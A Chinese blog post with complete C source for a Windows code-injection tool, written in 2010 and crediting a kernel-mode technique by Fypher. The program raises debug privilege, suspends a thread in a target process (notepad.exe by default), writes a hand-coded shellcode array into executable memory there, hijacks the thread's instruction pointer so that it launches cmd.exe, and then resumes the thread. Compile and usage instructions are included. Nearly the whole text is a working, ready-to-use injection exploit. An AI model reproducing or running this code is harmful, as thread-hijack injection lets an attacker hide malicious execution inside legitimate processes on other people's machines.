利用改变进程线程的上下文注入其它进程

 

/*
拜读了Fypher的《ring0注入ring3的一种新方法》,同样获益非浅
于是利他的方法在ring3下实现了一下。
注意:ring3可以使用ZwGetContextThread和ZwSetContextThread,
而ring0下却不可以,ring0下这两个函数总是调用失败的,不过可以
通过_ETHREAD->KTHREAD tcb->_KTRAP_FRAME TrapFrame处就可以得到
指定线程的上下文,但是ETHREAD和KTHREAD结构在不同版本的windows里
也不相同,因此也就对驱动的通用性产生了影响。

对TrapFrame相对ETHREAD的偏移地址分别如下:
win2000sp4: ETHREAD+0x128
winxp:      ETHREAD+0x134
win2003:    ETHREAD+0x150
win7:       ETHREAD+0x128
winvista:   未测试

这种方法有一个问题,就是代码写过去后,要等很久才能运行,这是因为多
数线程都是处于StateWait状态,如果要想立即运行你的shellcode,可以在
插入后将目标程序置于前台,在置于前台的过程中,程序的线程就会改变状

尊重作者成果,请转载时提-提作者。
Write by midstream
date:2010-03-10

编译方法:cl.exe createthread.c advapi32.lib
用法: createthread.exe <进程名> //如果不加进程名,默认是插入到notepad.exe进程里
*/


#include <stdio.h>
#include <windows.h>

 


typedef long NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#ifndef STATUS_UNSUCCESSFUL
#define STATUS_UNSUCCESSFUL              ((NTSTATUS)0xC0000001L)
#endif


typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
    (p)->Length = sizeof( OBJECT_ATTRIBUTES );          \
    (p)->RootDirectory = r;                             \
    (p)->Attributes = a;                                \
    (p)->ObjectName = n;                                \
    (p)->SecurityDescriptor = s;                        \
    (p)->SecurityQualityOfService = NULL;               \
    }
#endif

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID;
typedef CLIENT_ID *PCLIENT_ID;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;

 

typedef struct _VM_COUNTERS
{
        ULONG PeakVirtualSize;                  //虚拟存储峰值大小;
        ULONG VirtualSize;                      //虚拟存储大小;
        ULONG PageFaultCount;                   //页故障数目;
        ULONG PeakWorkingSetSize;               //工作集峰值大小;
        ULONG WorkingSetSize;                   //工作集大小;
        ULONG QuotaPeakPagedPoolUsage;          //分页池使用配额峰值;
        ULONG QuotaPagedPoolUsage;              //分页池使用配额;
        ULONG QuotaPeakNonPagedPoolUsage;       //非分页池使用配额峰值;
        ULONG QuotaNonPagedPoolUsage;           //非分页池使用配额;
        ULONG PagefileUsage;                    //页文件使用情况;
        ULONG PeakPagefileUsage;                //页文件使用峰值;
}VM_COUNTERS,*PVM_COUNTERS;


typedef struct _SYSTEM_THREADS
{
        LARGE_INTEGER KernelTime;               //CPU内核模式使用时间;
        LARGE_INTEGER UserTime;                 //CPU用户模式使用时间;
        LARGE_INTEGER CreateTime;               //线程创建时间;
        ULONG         WaitTime;                 //等待时间;
        PVOID         StartAddress;             //线程开始的虚拟地址;
        CLIENT_ID     ClientId;                 //线程标识符;
        LONG          Priority;                 //线程优先级;
        LONG          BasePriority;             //基本优先级;
        ULONG         ContextSwitchCount;       //环境切换数目;
        ULONG         State;                    //当前状态;
        ULONG         WaitReason;               //等待原因;
        
} SYSTEM_THREADS,*PSYSTEM_THREADS;

 

typedef struct _SYSTEM_PROCESSES
{
        ULONG          dwOffset;                //构成结构序列的偏移量;
        ULONG          ThreadCount;             //线程数目;
        ULONG          Reserved1[6];            //
        LARGE_INTEGER CreateTime;              //创建时间;
        LARGE_INTEGER UserTime;                //用户模式(Ring 3)的CPU时间;
        LARGE_INTEGER KernelTime;              //内核模式(Ring 0)的CPU时间;
        UNICODE_STRING ProcessName;             //进程名称;
        LONG      BasePriority;                 //进程优先权;
        ULONG          dwProcessID;              //进程标识符;
        ULONG          dwParentProcessId;       //父进程的标识符;
        ULONG          HandleCount;             //句柄数目;
        ULONG          Reserved2[2];            //
        VM_COUNTERS    VmCounters;              //虚拟存储器的结构,见下;
        IO_COUNTERS    IoCounters;              //IO计数结构,见下;
        SYSTEM_THREADS Threads[1];              //进程相关线程的结构数组,见下;
}SYSTEM_PROCESSES,*PSYSTEM_PROCESSES,PROCESSINFO,*PPROCESSINFO;

 


typedef NTSTATUS (NTAPI *fnZwOpenThread)(

OUT PHANDLE             ThreadHandle,
IN ACCESS_MASK          AccessMask,
IN POBJECT_ATTRIBUTES   ObjectAttributes,
IN PCLIENT_ID           ClientId );
fnZwOpenThread ZwOpenThread;

typedef NTSTATUS (NTAPI *fnZwGetContextThread)(

IN HANDLE               ThreadHandle,
OUT PCONTEXT            pContext );
fnZwGetContextThread ZwGetContextThread;
typedef NTSTATUS (NTAPI *fnZwSetContextThread)(

IN HANDLE               ThreadHandle,
IN PCONTEXT             Context );
fnZwSetContextThread ZwSetContextThread;


typedef NTSTATUS (NTAPI *fnZwAllocateVirtualMemory)(

IN HANDLE               ProcessHandle,
IN OUT PVOID            *BaseAddress,
IN ULONG                ZeroBits,
IN OUT PULONG           RegionSize,
IN ULONG                AllocationType,
IN ULONG                Protect );
fnZwAllocateVirtualMemory ZwAllocateVirtualMemory;
typedef NTSTATUS (NTAPI *fnZwFreeVirtualMemory)(

IN HANDLE               ProcessHandle,
IN PVOID                *BaseAddress,
IN OUT PULONG           RegionSize,
IN ULONG                FreeType );
fnZwFreeVirtualMemory ZwFreeVirtualMemory;

typedef NTSTATUS (NTAPI *fnZwWriteVirtualMemory)(HANDLE,PVOID,PVOID,ULONG,PULONG);
fnZwWriteVirtualMemory ZwWriteVirtualMemory;

typedef NTSTATUS (NTAPI *fnZwQuerySystemInformation)(

IN ULONG SystemInformationClass,
OUT PVOID               SystemInformation,
IN ULONG                SystemInformationLength,
OUT PULONG              ReturnLength OPTIONAL );

fnZwQuerySystemInformation ZwQuerySystemInformation;

typedef NTSTATUS (NTAPI *fnZwResumeThread)(

IN HANDLE               ThreadHandle,
OUT PULONG              SuspendCount OPTIONAL );
fnZwResumeThread ZwResumeThread;

 

 

 

typedef BOOL (__stdcall *fnCreateProcess)(
    IN LPCSTR lpApplicationName,
    IN LPSTR lpCommandLine,
    IN LPSECURITY_ATTRIBUTES lpProcessAttributes,
    IN LPSECURITY_ATTRIBUTES lpThreadAttributes,
    IN BOOL bInheritHandles,
    IN DWORD dwCreationFlags,
    IN LPVOID lpEnvironment,
    IN LPCSTR lpCurrentDirectory,
    IN LPSTARTUPINFO lpStartupInfo,
    OUT LPPROCESS_INFORMATION lpProcessInformation
    );

typedef void (__stdcall *fnExitThread)(
    IN DWORD dwExitCode
    );
typedef DWORD (__stdcall *fnGetLastError)(void);
typedef void (__stdcall *fnGetStartupInfo)(LPSTARTUPINFO);

 

typedef struct _THREAD_CS
{
/*0x000*/       char cmdline[256];
/*0x100*/       DWORD error;
/*0x104*/       STARTUPINFO si;
/*0x148*/       PROCESS_INFORMATION pi;
/*0x158*/       fnCreateProcess tdCreateProcess;
/*0x15c*/       fnGetStartupInfo tdGetStartupInfo;
/*0x160*/
} THREADCS,*PTHREADCS;


//提升权限
BOOL EnableDebugPrivilege(void)
{
        HANDLE hToken;
        TOKEN_PRIVILEGES token_p;
        if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken)) {
                LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&token_p.Privileges[0].Luid);//要求调试进程的权限 
                token_p.PrivilegeCount=1;
                token_p.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
                if(AdjustTokenPrivileges(hToken,FALSE,&token_p,sizeof(token_p),NULL,NULL))//调整权限
                 return TRUE;
        }
        return FALSE;
}

//最后的值应该是*(ULONG*)&data[173]=原eip-(data+177);
//(ULONG*)&data[5]=cscode;

unsigned char data[177] = {
        0x50, 0x51, 0x52, 0x8D, 0x05, 0x00, 0x00, 0x00, 0x00, 0x05, 0x04, 0x01, 0x00, 0x00, 0x50, 0xFF, 
        0x50, 0x58, 0x83, 0xC0, 0x44, 0x50, 0x83, 0xE8, 0x44, 0x50, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, //0x4 = CREATE_SUSPENDED
             /*TRUE*/
        0x6A, 0x01, 0x6A, 0x00, 0x6A, 0x00, 0x2D, 0x04, 0x01, 0x00, 0x00, 0x50, 0x6A, 0x00, 0xFF, 0x90, 
        0x58, 0x01, 0x00, 0x00, 0x5A, 0x59, 0x58, 0x3E, 0xC7, 0x44, 0x24, 0xFC, 0x68, 0xFE, 0x12, 0x00, 
        0x3E, 0xC7, 0x44, 0x24, 0xF8, 0x72, 0x40, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xF4, 0xE4, 0xFC, 
        0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xF0, 0x01, 0x04, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xEC, 
        0x80, 0xFF, 0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xE8, 0x68, 0xFE, 0x12, 0x00, 0x3E, 0xC7, 0x44, 
        0x24, 0xE4, 0x11, 0x00, 0x00, 0x01, 0x3E, 0xC7, 0x44, 0x24, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x3E, 
        0xC7, 0x44, 0x24, 0xDC, 0x11, 0x00, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD8, 0x42, 0x00, 0x00, 
        0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD4, 0xE4, 0xFC, 0x12, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xD0, 0x00, 
        0x00, 0x00, 0x00, 0x3E, 0xC7, 0x44, 0x24, 0xCC, 0x00, 0x00, 0x00, 0x00, 0xE9, 0x88, 0xA7, 0xFF, 
        0xFF
};


//得到进程
NTSTATUS GetProcess(wchar_t *exename,PCLIENT_ID cid)
{
        PPROCESSINFO pProcessInfo,pProcessInfo1;
        DWORD i,ret,dwInfoSize,dwInfoSize2;
        for(i=0x1000;i<0x10000;i+=0x1000)
        {
                pProcessInfo=NULL;
                pProcessInfo=(PPROCESSINFO)malloc(i);
                if(!pProcessInfo) return GetLastError();
                dwInfoSize=i;
                ret = ZwQuerySystemInformation(5, pProcessInfo, dwInfoSize, &dwInfoSize2); 
                if(ret==0) break;
                if (ret != 0xC0000004)
                {
                        free(pProcessInfo);
                        return ret;
                }
                free(pProcessInfo);
        }
        if(i>=0x10000&&ret!=0) return ret;
        pProcessInfo1=pProcessInfo;
        while(pProcessInfo->dwOffset)
        {
                if(pProcessInfo->ProcessName.Buffer&&pProcessInfo->ProcessName.Length)
                {
                        if(_wcsicmp(pProcessInfo->ProcessName.Buffer,exename)==0)
                        {
                                *cid = pProcessInfo->Threads[0].ClientId;
                                free(pProcessInfo1);
                                return 0;
                        }
                }
                pProcessInfo=(PSYSTEM_PROCESSES)((unsigned char *)pProcessInfo+pProcessInfo->dwOffset);
        }
        return 1;
}
       


int main(int argc,char *argv[])
{
        
        DWORD commit,reserve,i;
        HANDLE ntdll=NULL;
        DWORD pid=0,memsize,size1;
        HANDLE hProcess,hThread;
        PVOID rcode=NULL,cscode=NULL;
        THREADCS tcs;
        char SYSDIR[256]={0};
        wchar_t dong[128]={0};
        unsigned char *p1;
        CLIENT_ID cid;
        CONTEXT context={CONTEXT_FULL}; 
        OBJECT_ATTRIBUTES oa;
        BOOL successed=FALSE;
        
        
        
        
        
        
        ntdll=LoadLibrary("ntdll.dll");
        if(ntdll==NULL) return 0;
        ZwAllocateVirtualMemory=(fnZwAllocateVirtualMemory)GetProcAddress(ntdll,"NtAllocateVirtualMemory");
        ZwFreeVirtualMemory=(fnZwFreeVirtualMemory)GetProcAddress(ntdll,"ZwFreeVirtualMemory");
        ZwWriteVirtualMemory=(fnZwWriteVirtualMemory)GetProcAddress(ntdll,"NtWriteVirtualMemory");
        ZwQuerySystemInformation=(fnZwQuerySystemInformation)GetProcAddress(ntdll,"NtQuerySystemInformation");
        
        ZwResumeThread=(fnZwResumeThread)GetProcAddress(ntdll,"ZwResumeThread");
        ZwGetContextThread = (fnZwGetContextThread)GetProcAddress(ntdll,"ZwGetContextThread");
        ZwOpenThread=(fnZwOpenThread)GetProcAddress(ntdll,"ZwOpenThread");
        ZwSetContextThread=(fnZwSetContextThread)GetProcAddress(ntdll,"ZwSetContextThread");
        if(ZwSetContextThread==0||ZwOpenThread==0||ZwGetContextThread==0||ZwAllocateVirtualMemory==0||ZwFreeVirtualMemory==0||ZwWriteVirtualMemory==0||ZwQuerySystemInformation==0) return 0;
        
        memset(&tcs,0,sizeof(THREADCS));
        
        tcs.tdCreateProcess=(fnCreateProcess)CreateProcessA;
        tcs.tdGetStartupInfo=(fnGetStartupInfo)GetStartupInfoA;
        GetSystemDirectory(SYSDIR,256);//得到系统目录
        sprintf(tcs.cmdline,"%s\\cmd.exe",SYSDIR);
        tcs.error=sizeof(STARTUPINFO);
        
        EnableDebugPrivilege();
        //查找进程
        i=0;
        if(argc>1)
        {
                p1=(unsigned char *)dong;
                size1=strlen(argv[1]);
                
                for(i=0,memsize=0;i<size1;i++,memsize+=2)
                {
                        p1[memsize]=argv[1][i];
                }
                i=0;
                i=GetProcess(dong,&cid);
        }
        else i=GetProcess(L"notepad.exe",&cid);
        if(i!=0)
        {
                printf("没有发现指定进程\r\n");
                return 0;
        }
        
        
        hProcess=OpenProcess(PROCESS_ALL_ACCESS,0,(ULONG)cid.UniqueProcess);
        if(hProcess==NULL) return 0;
        InitializeObjectAttributes(&oa,0,0,0,0);
        
        i=ZwOpenThread(&hThread,THREAD_SET_CONTEXT|THREAD_GET_CONTEXT|THREAD_SUSPEND_RESUME,&oa,&cid);
        if(i||hThread==NULL) {
                printf("打开线程出错了\r\n");
                CloseHandle(hProcess);
                return 0;
        }
        
        if(SuspendThread(hThread)==-1) {
                printf("SuspendThread 出错了 %d\r\n",GetLastError());
                goto exits;
        }
        
        
        
        //申请内存
        memsize=sizeof(THREADCS);
        
        cscode=VirtualAllocEx(hProcess,0,memsize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE);
        memsize=177;
        rcode=VirtualAllocEx(hProcess,0,memsize,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        
        if(cscode==NULL||rcode==NULL) goto exits;
        
        //写入内存
        memsize=sizeof(THREADCS);
        if(!WriteProcessMemory(hProcess,cscode,&tcs,memsize,&pid)) goto exits;
        
        
        //设定执行代码
        
        if(ZwGetContextThread(hThread,&context)) {
                printf("GetThreadContext\r\n");
                goto exits;
        }
        
        printf("eip:%#x eax:%#x\r\n",*(ULONG *)&context.Eip,context.Eax);
        //设定
        *(ULONG*)&data[173]=context.Eip-(ULONG)rcode-177;
        *(ULONG *)&data[5]=(ULONG)cscode;
        printf("大小:%#x\r\n",*(ULONG *)&data[5]);
        reserve=context.Esp;
        printf("esp:%#x\r\n",reserve);
        
        //因为shellcode里用了CreateProcess函数,再加保存寄存器的值,共有13个栈值改变,
        //所以这里要备份下来放到shellcode里,便shellcode运行后自动恢复原来的值。
       commit=1;
        for(i=0x3C;i<0xb1;i+=0x9)
        {
                memsize=0;
                reserve-=sizeof(PVOID);
                if(!ReadProcessMemory(hProcess,(PVOID)reserve,&memsize,sizeof(DWORD),&size1)) {
                        printf("ReadProcessMemory(%#x)出错了\r\n",reserve);
                        goto exits;
                } else {
                        printf("esp-0x%02x:\t%#x\r\n",commit*0x4,memsize);
                }
                commit++;
                *(ULONG *)&data[i]=memsize;
        }
        
        
        memsize=177;
        context.Eip=(ULONG)rcode;
        
        if(!WriteProcessMemory(hProcess,rcode,data,memsize,&pid)) goto exits;
        context.ContextFlags=CONTEXT_FULL;
        memsize=ZwSetContextThread(hThread,&context);
        if(memsize) {
                printf("SetThreadContext %#x\r\n",memsize);
                goto exits;
        }
        
        ZwResumeThread(hThread,&size1);
        
        
        successed=TRUE;
        
        exits:
        if(!successed) {
                printf("出错了 %d\r\n",GetLastError());
                if(hThread) ResumeThread(hThread);
        }
        if(hThread) CloseHandle(hThread);
        if(hProcess) CloseHandle(hProcess);
        
        return 0;
}

你可能感兴趣的:(线程,职场,进程,上下文,休闲)